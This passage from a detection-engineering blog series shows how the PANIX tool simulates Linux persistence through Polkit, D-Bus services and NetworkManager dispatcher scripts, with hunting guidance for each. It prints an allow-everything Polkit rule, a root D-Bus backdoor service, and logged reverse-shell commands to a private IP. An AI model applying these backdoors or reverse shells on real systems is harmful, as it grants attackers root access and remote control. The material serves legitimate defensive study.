- **Rules**: JavaScript-like files (`.rules`) determine how authorization is granted for specific actions. They can check user groups, environment variables, or other conditions.
- **Authorization Policies**: `.pkla` files set default or per-user/group authorizations for actions, determining whether authentication is required.

The configuration files used by Polkit are found in several different locations, depending on the version of Polkit that is present on the system, and the Linux distribution that is active. The main locations you should know about:

- Action definitions:
  - `/usr/share/polkit-1/actions/`
- Rule definitions:
  - `/etc/polkit-1/rules.d/`
  - `/usr/share/polkit-1/rules.d/`
- Authorization definitions:
  - `/etc/polkit-1/localauthority/`
  - `/var/lib/polkit-1/localauthority/`

A Polkit `.rules` file defines the logic for granting or denying specific actions. These files provide flexibility in determining whether a user or process can execute an action. Here's a simple example:

```
polkit.addRule(function(action, subject) {
   if (action.id == "org.freedesktop.systemd1.manage-units" &&
       subject.isInGroup("servicemanagers")) {
       return polkit.Result.YES;
   }
   return polkit.Result.NOT_HANDLED;
});
```

In this rule:

- The action `org.freedesktop.systemd1.manage-units` (managing `systemd` services) is granted to users in the `servicemanagers` group.
- Other actions fall back to default handling.

This structure allows administrators to implement custom policies, but it also opens the door for attackers who can insert overly permissive rules to gain unauthorized privileges.

Currently, Polkit does not have a dedicated technique in the MITRE ATT&CK framework. The closest match is T1543: Create or Modify System Process, which describes adversaries modifying system-level processes to achieve persistence or privilege escalation.

In the next section, we will explore step-by-step how attackers can craft and deploy malicious Polkit rules and authorization files, while also discussing detection and mitigation strategies.

Persistence through T1543 - Create or Modify System Process: PolicyKit

Now that we understand the theory, let's take a look at how to simulate this in practice through the setup_polkit.sh PANIX module. First, the module checks the active Polkit version through the `pkaction --version` command, as versions < 0.106 use the older `.pkla` files, while newer versions (>= 0.106) use the more recent `.rules` files. Depending on the version, the module will continue to create the Polkit policy that is overly permissive. For versions < 0.106 a `.pkla` file is created in `/etc/polkit-1/localauthority/50-local.d/`:

```
 mkdir -p /etc/polkit-1/localauthority/50-local.d/

# Write the .pkla file
cat <<-EOF > /etc/polkit-1/localauthority/50-local.d/panix.pkla
[Allow Everything]
Identity=unix-user:*
Action=*
ResultAny=yes
ResultInactive=yes
ResultActive=yes
EOF
```

Allowing any `unix-user` to do any action through the `Identity=unix-user:*` and `Action=*` parameters.

For versions >= 0.106 a `.rules` file is created in `/etc/polkit-1/rules.d/` :

```
 mkdir -p /etc/polkit-1/rules.d/

# Write the .rules file
cat <<-EOF > /etc/polkit-1/rules.d/99-panix.rules
polkit.addRule(function(action, subject) {
         return polkit.Result.YES;
});
EOF
```

Where an overly permissive policy always returns `polkit.Result.YES` , which means that any action that requires Polkit's authentication will be allowed by anyone.

Polkit rules are processed in lexicographic (ASCII) order, meaning files with lower numbers load first, and later rules can override earlier ones. If two rules modify the same policy, the rule with the higher number takes precedence because it is evaluated last. To ensure the rule is executed and overrides others, PANIX creates it with a filename starting with 99 (e.g. `99-panix.rules`).

Let's run the PANIX module with the following command line arguments:

```
 > sudo ./panix.sh --polkit

[!] Polkit version < 0.106 detected. Setting up persistence using .pkla files.
[+] Persistence established via .pkla file.
[+] Polkit service restarted.
[!] Run pkexec su - to test the persistence.
```

And take a look at the logs in Kibana:

process.executable	process.command_line	process.parent.executable	process.parent.command_line	file.path	event.action	user.id	user.Ext.real.id
/bin/bash	-bash	/usr/bin/su	/usr/bin/su -	-	exec	0	0
/usr/bin/pkexec	pkexec su -	/bin/bash	-bash	-	exec	0	1000
/usr/bin/systemctl	systemctl restart polkit	./panix.sh	/bin/bash ./panix.sh --polkit	-	exec	0	0
./panix.sh	-	-	-	/etc/polkit-1/localauthority/50-local.d/panix.pkla	creation	0	0
/usr/bin/mkdir	mkdir -p /etc/polkit-1/localauthority/50-local.d/	./panix.sh	/bin/bash ./panix.sh --polkit	-	exec	0	0
/usr/bin/pkaction	pkaction --version	./panix.sh	/bin/bash ./panix.sh --polkit	-	exec	0	0
./panix.sh	/bin/bash ./panix.sh --polkit	/usr/bin/sudo	sudo ./panix.sh --polkit	-	exec	0	0

PANIX Polkit module execution visualized in Kibana

Upon execution of PANIX, we can see the `pkaction --version` command being issued to determine whether a `.pkla` or `.rules` file approach is needed. After figuring this out, the correct policy is created, and the `polkit` service is restarted (this is not always necessary however). Once these policies are in place, a user with a `user.Ext.real.id` of `1000` (not-root) is capable of obtaining root privileges by executing the `pkexec su -` command.

Let’s take a look at our detection opportunities:

Detection and endpoint rules that cover Polkit persistence

To revert any changes, you can use the corresponding revert module by running:

```
 > ./panix.sh --revert polkit

[+] Checking for .pkla persistence file...
[+] Removed file: /etc/polkit-1/localauthority/50-local.d/panix.pkla
[+] Checking for .rules persistence file...
[-] .rules file not found: /etc/polkit-1/rules.d/99-panix.rules
[+] Restarting polkit service...
[+] Polkit service restarted successfully.
```

Hunting for T1543 - Create or Modify System Process: PolicyKit

We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to the modification of PolicyKit configuration files and rules. The approach includes hunting for the following:

1. **Creations and/or Modifications to PolicyKit Configuration Files**: Tracks changes in critical directories containing custom and system-wide rules, action descriptions and authorizations rules. Monitoring these paths helps identify unauthorized additions or tampering that could indicate malicious activity.
2. **Metadata Analysis of PolicyKit Files**: Inspects file ownership, access times, and modification timestamps for PolicyKit-related files. Unauthorized changes or files with unexpected ownership can indicate an attempt to persist or escalate privileges through PolicyKit.

3. **Detection of Rare or Anomalous Events**: Identifies uncommon file modification or creation events by analyzing process execution and correlation with file activity. This helps surface subtle indicators of compromise.

By combining the Persistence via PolicyKit hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to T1543.

T1543 - Create or Modify System Process: D-Bus

D-Bus (Desktop Bus) is an inter-process communication (IPC) system widely used in Linux and other Unix-like operating systems. It serves as a structured message bus, enabling processes, system services, and applications to communicate and coordinate actions. As a cornerstone of modern Linux environments, D-Bus provides the framework for both system-wide and user-specific communication.

At its core, D-Bus facilitates interaction between processes by providing a standardized mechanism for sending and receiving messages, eliminating the need for custom IPC solutions while improving efficiency and security. It operates through two primary communication channels:

- **System Bus**: Used for communication between system-level services and privileged operations, such as managing hardware or network configuration.
- **Session Bus**: Used for communication between user-level applications, such as desktop notifications or media players.

A D-Bus daemon manages the message bus, ensuring messages are routed securely between processes. Processes register themselves on the bus with unique names and provide interfaces containing methods, signals, and properties for other processes to interact with. The core components of D-Bus communication looks as follows:

Interfaces:

- Define a collection of methods, signals, and properties a service offers.
- Example: `org.freedesktop.NetworkManager` provides methods to manage network connections.

Methods:

- Allow external processes to invoke specific actions or request information.
- Example: The method `org.freedesktop.NetworkManager.Reload` can be called to reload a network service.

Signals:

- Notifications sent by a service to inform other processes about events.
- Example: A signal might indicate a network connection status change.

As an example, the following command sends a message to the system bus to invoke the `Reload` method on the `NetworkManager` service:

```
dbus-send --system --dest=org.freedesktop.NetworkManager /org/freedesktop/NetworkManager org.freedesktop.Networ
```

D-Bus services are applications or daemons that register themselves on the bus to provide functionality. If a requested service is not running, the D-Bus daemon can start it automatically using predefined service files.

These services use service files with a `.service` extension to tell D-Bus how to start a service. For example:

```
 [D-BUS Service]
Name=org.freedesktop.MyService
Exec=/usr/bin/my-service
User=root
```

D-Bus service files can be located in several different locations, depending on whether these services are running system-wide or at the user-level, and depending on the architecture and Linux distribution. The following is an overview of locations that are used, which is not an exhaustive list, as different distributions use different default locations:

1. **System-wide Configuration and Services**:
    - System service files:
        - `/usr/share/dbus-1/system-services/`
        - `/usr/local/share/dbus-1/system-services/`
    - System policy files:
        - `/etc/dbus-1/system.d/`
        - `/usr/share/dbus-1/system.d/`
    - System configuration files:
        - `/etc/dbus-1/system.conf`
        - `/usr/share/dbus-1/system.conf`
2. **Session-wide Configuration and Services**:
    - Session service files:
        - `/usr/share/dbus-1/session-services/`
        - `~/.local/share/dbus-1/services/`
    - Session policy files:
        - `/etc/dbus-1/session.d/`
        - `/usr/share/dbus-1/session.d/`
    - Session configuration files:
        - `/etc/dbus-1/session.conf`
        - `/usr/share/dbus-1/session.conf`

More details on each path is available here. D-Bus policies, written in XML, define access control rules for D-Bus services. These policies specify who can perform actions such as sending messages, receiving responses, or owning specific services. They are essential for controlling access to privileged operations and ensuring that services are not misused. There are several key components to a D-Bus policy:

1. **Context**:

- Policies can apply to specific users, groups, or a default context (`default` applies to all users unless overridden).

2. **Allow/Deny Rules**:

- Rules explicitly grant (`allow`) or restrict (`deny`) access to methods, interfaces, or services.

3. **Granularity**:

- Policies can control access at multiple levels:
  - Entire services (e.g., `org.freedesktop.MyService`).
  - Specific methods or interfaces (e.g., `org.freedesktop.MyService.SecretMethod`).

The following example demonstrates a D-Bus policy that enforces clear access restrictions:

```
 <!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-Bus Bus Configuration 1.0//EN"
  "http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
<busconfig>
    <!-- Default policy: Deny all access -->
    <policy context="default">
        <deny send_destination="org.freedesktop.MyService"/>
    </policy>

    <!-- Allow only users in the "admin" group to access specific methods -->
    <policy group="admin">
        <allow send_interface="org.freedesktop.MyService.PublicMethod"/>
    </policy>

    <!-- Allow root to access all methods -->
    <policy user="root">
        <allow send_destination="org.freedesktop.MyService"/>
    </policy>
</busconfig>
```

This policy:

1. Denies all access to the service `org.freedesktop.MyService` by default.
2. Grants users in the `admin` group access to a specific interface (`org.freedesktop.MyService.PublicMethod`).
3. Grants full access to the `org.freedesktop.MyService` destination for the `root` user.

D-Bus's central role in IPC makes it a potential interesting target for attackers. Potential attack vectors include:

1. **Hijacking or Registering Malicious Services**:

- Attackers can replace or add `.service` files in e.g. `/usr/share/dbus-1/system-services/` to hijack legitimate communication or inject malicious code.

2. **Creating or Exploiting Over-permissive Policies**:
   - Weak policies (e.g., granting all users access to critical services) can allow attackers to invoke privileged methods.
3. **Abusing Vulnerable Services**:
   - If a D-Bus service improperly validates input, attackers may execute arbitrary code or perform unauthorized actions.

The examples above can be used for privilege escalation, defense evasion and persistence. Currently, there is no specific MITRE ATT&CK sub-technique for D-Bus. However, its abuse aligns closely with T1543: Create or Modify System Process, as well as T1574: Hijack Execution Flow for cases where `.service` files are modified.

In the next section we will take a look at how an attacker can set up overly permissive D-Bus configurations that send out reverse connections with root permissions, while discussing approaches to detecting this behavior.

Persistence through T1543 - Create or Modify System Process: D-Bus

Now that we've learnt all about D-Bus setup, it’s time to take a look at how to simulate this in practice through the setup_dbus.sh PANIX module. PANIX starts off by creating a D-Bus service file at `/usr/share/dbus-1/system-services/org.panix.persistence.service` with the following contents:

```
 cat <<'EOF' > "$service_file"
[D-BUS Service]
Name=org.panix.persistence
Exec=/usr/local/bin/dbus-panix.sh
User=root
EOF
```

This service file will listen on the `org.panix.persistence` interface, and execute the `/usr/local/bin/dbus-panix.sh` “service”. The `dbus-panix.sh` script simply invokes a reverse shell connection when called:

```
 cat <<EOF > "$payload_script"
#!/bin/bash
# When D-Bus triggers this service, execute payload.
${payload}
EOF
```

To ensure any user is allowed to invoke the actions corresponding to the interface, PANIX sets up a `/etc/dbus-1/system.d/org.panix.persistence.conf` file with the following contents:

```
 cat <<'EOF' > "$conf_file"
<!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-Bus Bus Configuration 1.0//EN"
        "http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
```

```
<busconfig>
        <!-- Allow any user to own, send to, and access the specified service -->
        <policy context="default">
                <allow own="org.panix.persistence"/>
                <allow send_destination="org.panix.persistence"/>
                <allow send_interface="org.panix.persistence"/>
        </policy>
</busconfig>
EOF
```

This configuration defines a D-Bus policy that permits any user or process to own, send messages to, and interact with the `org.panix.persistence` service, effectively granting unrestricted access to it. After restarting the `dbus` service, the setup is complete.

To interact with the service, the following command can be used:

```
 dbus-send --system --type=method_call /
--dest=org.panix.persistence /org/panix/persistence /
org.panix.persistence.Method
```

This command sends a method call to the D-Bus system bus, targeting the `org.panix.persistence` service, invoking the `org.panix.persistence.Method` method on the `/org/panix/persistence` object, effectively triggering the backdoor.

Let’s run the PANIX module with the following command line arguments:

```
 > sudo ./panix.sh --dbus --default --ip 192.168.1.100 --port 2016

[+] Created/updated D-Bus service file: /usr/share/dbus-1/system-services/org.panix.persistence.service
[+] Created/updated payload script: /usr/local/bin/dbus-panix.sh
[+] Created/updated D-Bus config file: /etc/dbus-1/system.d/org.panix.persistence.conf
[!] Restarting D-Bus...
[+] D-Bus restarted successfully.
[+] D-Bus persistence module completed. Test with:

dbus-send --system --type=method_call --print-reply /
--dest=org.panix.persistence /org/panix/persistence /
org.panix.persistence.Method
```

Upon execution of the `dbus-send` command:

```
 dbus-send --system --type=method_call --print-reply /
--dest=org.panix.persistence /org/panix/persistence /
org.panix.persistence.Method
```

We will take a look at the documents in Kibana:

process.executable	process.command_line	process.parent.executable	process.parent.command_line	file.path	event.action
/usr/bin/bash	bash -i	/bin/bash	bash -c bash -i >& /dev/tcp/192.168.31.128/2016 0>&1	-	exec
/bin/bash	bash -c bash -i >& /dev/tcp/192.168.31.128/2016 0>&1	-	-	-	connection_attempted
/bin/bash	bash -c bash -i >& /dev/tcp/192.168.31.128/2016 0>&1	/usr/local/bin/dbus-panix.sh	/bin/bash /usr/local/bin/dbus-panix.sh	-	exec
/bin/setsid	setsid bash -c bash -i >& /dev/tcp/192.168.31.128/2016 0>&1	/usr/local/bin/dbus-panix.sh	/bin/bash /usr/local/bin/dbus-panix.sh	-	exec
/usr/bin/nohup	nohup setsid bash -c bash -i >& /dev/tcp/192.168.31.128/2016 …	/usr/local/bin/dbus-panix.sh	/bin/bash /usr/local/bin/dbus-panix.sh	-	exec
/usr/local/bin/dbus-panix.sh	/bin/bash /usr/local/bin/dbus-panix.sh	/usr/bin/dbus-daemon	@dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only	-	exec
/usr/lib/dbus-1.0/dbus-daemon-launch-helper	/usr/lib/dbus-1.0/dbus-daemon-launch-helper org.panix.persistence	/usr/bin/dbus-daemon	@dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only	-	exec
/usr/bin/dbus-send	dbus-send --system --type=method_call --print-reply --dest=org.panix.persistence …	/bin/bash	-bash	-	exec
/usr/bin/systemctl	systemctl restart dbus	./panix.sh	/bin/bash ./panix.sh --dbus --default --ip 192.168.31.128 --port 2016	-	exec
./panix.sh	-	-	-	/etc/dbus-1/system.d/org.panix.persistence.conf	creation
/usr/bin/chmod	chmod +x /usr/local/bin/dbus-panix.sh	./panix.sh	/bin/bash ./panix.sh --dbus --default --ip 192.168.31.128 --port 2016	-	exec
./panix.sh	-	-	-	/usr/local/bin/dbus-panix.sh	creation
./panix.sh	-	-	-	/usr/share/dbus-1/system-services/org.panix.persistence.service	creation
./panix.sh	/bin/bash ./panix.sh --dbus --default --ip 192.168.31.128 --port 2016	/usr/bin/sudo	sudo ./panix.sh --dbus --default --ip 192.168.31.128 --port 2016	-	exec

PANIX D-Bus module execution visualized in Kibana

Upon PANIX execution, the `org.panix.persistence.service`, `dbus-panix.sh`, and `org.panix.persistence.conf` files are created, successfully setting the stage. Afterwards, the `dbus` service is restarted, and the dbus-send command is executed to interact with the `org.panix.persistence` service. Upon invocation of the `org.panix.persistence.Method` method, the `dbus-panix.sh` backdoor is executed, and the reverse shell connection chain (`dbus-panix.sh` → `nohup` → `setsid` → `bash`) is initiated.

Let’s take a look at our detection opportunities:

Detection and endpoint rules that cover D-Bus persistence

To revert any changes, you can use the corresponding revert module by running:

```
 > ./panix.sh --revert dbus

[*] Reverting D-Bus persistence module...
[+] Removing D-Bus service file: /usr/share/dbus-1/system-services/org.panix.persistence.service...
[+] D-Bus service file removed.
[+] Removing payload script: /usr/local/bin/dbus-panix.sh
```

```
[+] Payload script removed.
[+] Removing D-Bus configuration file: /etc/dbus-1/system.d/org.panix.persistence.conf...
[+] D-Bus configuration file removed.
[*] Restarting D-Bus...
[+] D-Bus restarted successfully.
[+] D-Bus persistence reverted.
```

Hunting for T1543 - Create or Modify System Process: D-Bus

We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to the use and modification of D-Bus-related files, services, and processes. The approach includes monitoring for the following:

1. **Creations and/or Modifications to D-Bus Configuration and Service Files**: Tracks changes in critical directories, such as system-wide and session service files and policy files. Monitoring these paths helps detect unauthorized additions or modifications that may indicate malicious activity targeting D-Bus.
2. **Metadata Analysis of D-Bus Files**: Inspects file ownership, last access times, and modification timestamps for D-Bus configuration files. This can reveal unauthorized changes or the presence of unexpected files that may indicate attempts to persist through D-Bus.
3. **Detection of Suspicious Processes**: Monitors executions of processes such as `dbus-daemon` and `dbus-send`, which are key components of D-Bus communication. By tracking command lines, parent processes, and execution counts, unusual or unauthorized usage can be identified.
4. **Detection of Rare or Anomalous Events**: Identifies uncommon file modifications or process executions by correlating event data across endpoints. This highlights subtle indicators of compromise, such as rare changes to critical D-Bus configurations or the unexpected use of D-Bus commands.

By combining the Persistence via Desktop Bus (D-Bus) hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to T1543.

T1546 - Event Triggered Execution: NetworkManager

NetworkManager is a widely used daemon for managing network connections on Linux systems. It allows for configuring wired, wireless, VPN, and other network interfaces while offering a modular and extensible design. One of its lesser-known but powerful features is its dispatcher feature, which provides a way to execute scripts automatically in response to network events. When certain network events occur (e.g., an interface comes up or goes down), NetworkManager invokes scripts located in this directory. These scripts run as root, making them highly privileged.

- **Event Types**: NetworkManager passes specific events to scripts, such as:
  - `up`: Interface is activated.
  - `down`: Interface is deactivated.
  - `vpn-up`: VPN connection is established.
  - `vpn-down`: VPN connection is disconnected.

Scripts placed in `/etc/NetworkManager/dispatcher.d/` are standard shell scripts and must be marked executable. An example of a dispatcher script may look like this:

```
 #!/bin/bash
INTERFACE=$1
EVENT=$2

if [ "$EVENT" == "up" ]; then
    logger "Interface $INTERFACE is up. Executing custom script."
    # Perform actions, such as logging, mounting, or starting services
    /usr/bin/some-command --arg value
elif [ "$EVENT" == "down" ]; then
    logger "Interface $INTERFACE is down. Cleaning up."
    # Perform cleanup actions
fi
```

Logging events and executing commands whenever a network interface comes up or goes down.

To achieve persistence through this technique, an attacker can either:

- Create a custom script, mark it executable and place it within the dispatcher directory
- Modify a legitimate dispatcher script to execute a payload upon a certain network event.

Persistence through `dispatcher.d/` aligns with T1546: Event Triggered Execution and T1543: Create or Modify System Process in the MITRE ATT&CK framework. NetworkManager dispatcher scripts however do not have their own sub-technique.

In the next section, we will explore how dispatcher scripts can be exploited for persistence and visualize the process flow to support effective detection engineering.

Persistence through T1546 - Event Triggered Execution:

The concept of this technique is very simple, let's now put it to practice through the setup_network_manager.sh PANIX module. The module checks whether the NetworkManager package is available, and whether the `/etc/NetworkManager/dispatcher.d/` path exists, as these are requisites for the technique to work. Next, it creates a new dispatcher file under `/etc/NetworkManager/dispatcher.d/panix-dispatcher.sh`, with a payload on the end. Finally, it grants execution permissions to the dispatcher file, after which it is ready to be activated.

```
 cat <<'EOF' > "$dispatcher_file"
#!/bin/sh -e

if [ "$2" = "connectivity-change" ]; then
        exit 0
fi

if [ -z "$1" ]; then
        echo "$0: called with no interface" 1>&2
        exit 1
fi
```

```
[...]

# Insert payload here:
__PAYLOAD_PLACEHOLDER__
EOF

chmod +x "$dispatcher_file"
```

We have included only the most relevant snippets of the module above. Feel free to check out the module source code if you are interested in diving deeper.

Let’s run the PANIX module with the following command line arguments:

```
 > sudo ./panix.sh --network-manager --default --ip 192.168.1.100 --port 2017

[+] Created new dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh
[+] Replaced payload placeholder with actual payload.
[+] Using dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh
```

Now, whenever a new network event triggers, the payload will be executed. This can be done through restarting the NetworkManager service, an interface or a reboot. Let’s take a look at the documents in Kibana:

process.executable	process.command_line	process.parent.executable	process.parent.command_line	file.path	event.action
/usr/bin/bash	bash -i	/usr/bin/bash	bash -c bash -i >& /dev/tcp/192.168.31.128/2017 0>&1	-	exec
/usr/bin/bash	bash -c bash -i >& /dev/tcp/192.168.31.128/2017 0>&1	-	-	-	connection_attempted
/usr/bin/bash	bash -c bash -i >& /dev/tcp/192.168.31.128/2017 0>&1	/etc/NetworkManager/dispatcher.d/panix-dispatcher.sh	/bin/sh -e /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh none hostname	-	exec
/usr/bin/setsid	setsid bash -c bash -i >& /dev/tcp/192.168.31.128/2017 0>&1	/etc/NetworkManager/dispatcher.d/panix-dispatcher.sh	/bin/sh -e /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh none hostname	-	exec
/usr/bin/nohup	nohup setsid bash -c bash -i >& /dev/tcp/192.168.31.128/2017 0>&1	/etc/NetworkManager/dispatcher.d/panix-dispatcher.sh	/bin/sh -e /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh none hostname	-	exec
/etc/NetworkManager/dispatcher.d/panix-dispatcher.sh	/bin/sh -e /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh none hostname	/usr/lib/NetworkManager/nm-dispatcher	/usr/lib/NetworkManager/nm-dispatcher	-	exec
/etc/NetworkManager/dispatcher.d/01-ifupdown	/bin/sh -e /etc/NetworkManager/dispatcher.d/01-ifupdown none hostname	/usr/lib/NetworkManager/nm-dispatcher	/usr/lib/NetworkManager/nm-dispatcher	-	exec
/usr/lib/NetworkManager/nm-dispatcher	/usr/lib/NetworkManager/nm-dispatcher	/usr/lib/systemd/systemd	/sbin/init	-	exec
/usr/bin/systemctl	systemctl restart NetworkManager	/usr/bin/sudo	sudo systemctl restart NetworkManager	-	exec
/usr/bin/sed	sed -i s/__PAYLOAD_PLACEHOLDER__/nohup setsid bash -c 'bash -i >\& \/dev\/tcp\/192.168.31.128\/2017 …	./panix.sh	/bin/bash ./panix.sh --network-manager --default --ip 192.168.31.128 --port 2017	-	exec
/usr/bin/chmod	chmod +x /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh	./panix.sh	/bin/bash ./panix.sh --network-manager --default --ip 192.168.31.128 --port 2017	-	exec
./panix.sh	-	-	-	/etc/NetworkManager/dispatcher.d/panix-dispatcher.sh	creation
./panix.sh	/bin/bash ./panix.sh --network-manager --default --ip 192.168.31.128 --port 2017	/usr/bin/sudo	sudo ./panix.sh --network-manager --default --ip 192.168.31.128 --port 2017	-	exec

PANIX network-manager module execution visualized in Kibana

Upon PANIX execution, the `panix-dispatcher.sh` script is created, marked as executable and `sed` is used to add the payload to the bottom of the script. Upon restarting the `NetworkManager` service through `systemctl`, we can see `nm-dispatcher` executing the `panix-dispatcher.sh` script, effectively detonating the reverse shell chain (`panix-dispatcher.sh` → `nohup` → `setsid` → `bash`).

And finally, let's take a look at our detection opportunities:

Detection and endpoint rules that cover network-manager persistence

To revert any changes, you can use the corresponding revert module by running:

```
 > ./panix.sh --revert network-manager

[+] Checking for payload in /etc/NetworkManager/dispatcher.d/01-ifupdown...
[+] No payload found in /etc/NetworkManager/dispatcher.d/01-ifupdown.
[+] Removing custom dispatcher file: /etc/NetworkManager/dispatcher.d/panix-dispatcher.sh...
[+] Custom dispatcher file removed.
[+] NetworkManager persistence reverted.
```

Hunting for T1546 - Event Triggered Execution: NetworkManager

We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious activity tied to the creation, modification, and execution of NetworkManager Dispatcher scripts. The approach includes monitoring for the following:

1. **Creations and/or Modifications to Dispatcher Scripts**: Tracks changes within the `/etc/NetworkManager/dispatcher.d/` directory. Monitoring for new or altered scripts helps detect unauthorized additions or modifications that could indicate malicious intent.
2. **Detection of Suspicious Processes**: Monitors processes executed by `nm-dispatcher` or scripts located in `/etc/NetworkManager/dispatcher.d/` . By analyzing command lines, parent processes, and execution counts, unusual or unauthorized script executions can be identified.
3. **Metadata Analysis of Dispatcher Scripts**: Inspects ownership, last access times, and modification timestamps for files in `/etc/NetworkManager/dispatcher.d/` . This can reveal unauthorized changes or anomalies in file attributes that may indicate persistence attempts.

By combining the Persistence via NetworkManager Dispatcher Script hunting rule with the tailored detection queries listed above, analysts can effectively identify and respond to T1546.

Conclusion

In the fifth and concluding chapter of the "Linux Detection Engineering" series, we turned our attention to persistence mechanisms rooted in the Linux boot process, authentication systems, inter-process communication, and core utilities. We began with GRUB-based persistence and the manipulation of initramfs, covering both manual approaches and automated methods using Dracut. Moving further, we explored Polkit-based persistence,

followed by a dive into D-Bus exploitation, and concluded with NetworkManager dispatcher scripts, highlighting their potential for abuse in persistence scenarios.

Throughout this series, PANIX played a critical role in demonstrating and simulating these techniques, allowing you to test your detection capabilities and strengthen your defenses. Combined with the tailored ES|QL and OSQuery queries provided, these tools enable you to identify and respond effectively to even the most advanced persistence mechanisms.

As we close this series, we hope you feel empowered to tackle Linux persistence threats with confidence. Armed with practical knowledge, actionable strategies, and hands-on experience, you are well-prepared to defend against adversaries targeting Linux environments. Thank you for joining us, and as always, stay vigilant and happy hunting!
